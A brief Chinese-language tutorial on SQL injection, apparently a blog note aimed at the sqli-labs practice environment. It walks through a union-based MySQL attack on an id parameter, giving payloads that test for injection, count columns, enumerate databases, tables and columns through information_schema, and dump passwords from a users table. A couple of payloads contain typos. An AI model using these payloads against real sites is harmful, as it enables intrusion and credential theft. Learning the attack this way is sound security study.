sql注入原理
![](https://img-blog.csdnimg.cn/img_convert/5e887b3aeb2401247b363c683ca0dd47.png)
sql注入基本流程
![](https://img-blog.csdnimg.cn/img_convert/24da96edce3668ce883aa8c2d9f7ad22.png)
判断是否存在注入,是否会将用户输入拼接到sql语句,并当做代码执行
/?id=1 and 1=1
/?id=2-1
/?id=1 and sleep(5)
....
....
判断字段数
order by (排序用来判断字段数)
/?id=1 order by 1
/?id=1 order by 2
.....
.....
判断显错位
union select (联合查询)
/?id=1 and 1=2 union selcet 1,2,database()
判断库名
database() 查询数据库名函数
/?id=1 and 1=2 union select 2,database(),3
判断表名
/?id-1 and 1=2 union select 2,3,group_concat(table_name) from information_schema.tables where table_schema='security'
table_name :表名称
information_schema.tables:是MySQL系统数据库中的一个表,用于存储与数据库中表相关的元数据(即元数据信息)
table_schema:表所在的数据库名称
判断列名
/?id=1 and 1=2 union select 2,4,group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'
column_name : 字段名
information_schema.columns:是MySQL系统数据库中的一个表,用于存储与数据库中表列相关的元数据。
table_schema:表所在的数据库名称
table_name :表名称
判断具体数据
/?id=1 and 1=2 union select 2,4,password from users